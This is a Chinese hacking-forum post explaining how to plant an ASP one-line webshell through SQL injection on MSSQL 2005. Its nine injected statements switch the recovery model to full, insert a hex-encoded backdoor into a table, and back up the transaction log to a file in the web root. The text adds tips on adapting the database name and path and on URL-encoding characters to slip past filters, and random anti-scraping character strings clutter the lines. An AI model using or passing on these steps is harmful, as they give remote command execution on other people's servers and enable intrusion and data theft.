找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2676|回复: 0
打印 上一主题 下一主题

mssql2005 DB权限导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:32:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没有备份数据库的权限,但使用MSSQL2000的备份方法根本行不通,后来才想到MSSQL2005的备份和MSSQL2000有点不同。
( r: ]7 j0 i: G. s9 p
0 B) }" s; \* L+ E ' F" k+ k" g6 n  H9 }
后来在网上搜半天没有找到具体的备份语句,后来在群求助,小冰才发我了具体的利用语句,但贴出来的文章貌似没啥水准,大家都知道手工差异备份是自己需要修改数据库名和网站路径的,但那个文章中对语句没有做任何解释,无奈之下我只好自己尝试了,虽然测试的网站没有成功拿下shell,单语句是没有错误的,我在本地的MSSQL2005的查询分析器中测试通过了,再次特将语句整理出来分享个大家,并做好详细的解释说明,首先来贴出语句。 , q/ i8 c: E% s& B& r
, U+ t# R5 H- s
第一步
. K$ l4 J& `6 ^: {( o, o" @;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full--
& b, \+ C, r0 q+ c! R& Y : U% B' N! A5 M
第二步:
  K% T2 N) l: m% ~$ `;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- / b! y, g# o5 V+ Y! `- `

. G( ^/ k; I  j: W/ W1 {第三步
1 \( u+ |" W- h; z5 p;drop/**/table/**/[itpro]-- / f. e; y' }- A/ e! g) Q1 j

6 X$ a' p  z4 W$ |; y% s第四步
# x# k$ |9 a% _: v0 f;create/**/table/**/[itpro]([a]/**/image)-- 9 Z+ ?) I! `2 N' ]

% q5 S5 Q; P) f3 V第五步
, y/ b  D5 p! i" c# N$ Z4 x; };declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- 8 ?4 G5 d- d0 s9 k; u4 g: H
# I3 ^5 _, `" l$ ~
第六步
/ H9 n7 g$ G( D7 d, n( s;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--
# g# t& ~% g2 k( s6 e* W
$ G" K6 e2 ~1 h$ E第七步 2 k! I) }" p' T4 r
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--   i  I) n7 L' {# C) I& J% q4 G' U
$ o# a. T+ j% X5 }( n5 X
第八步
: g$ L5 w- y0 O! ?* I;drop/**/table/**/[itpro]--
( y3 `7 f/ L- N7 L
4 t: h0 g: O. |9 O$ I第九步
  g( y  M8 o4 A6 C: G;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
0 ?  k. K) Z6 y, H3 d2 F
, T  I4 _; {/ C% r% ^. n3 C3 j其中红色的“Hospital”既是数据库名,这个要根据自己的情况来修改,然后黄色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句话“<%eval request("a")%>”的内容,橙色的“0x65003A005C007700650062005C007A002E00610073007000”为备份的路径“e:\web\z.asp”,都是使用的SQL_En的格式,另外第三步大可以不需要!他是删除itpro的表,如果第一次的话这个表是不存在的,就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”,就是使用URL编码。“/**/”就等于空格了,这个大家在学习注入的过程中应该了解,也可以更换成“%20”。6 c% _* [3 j- s. b9 I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表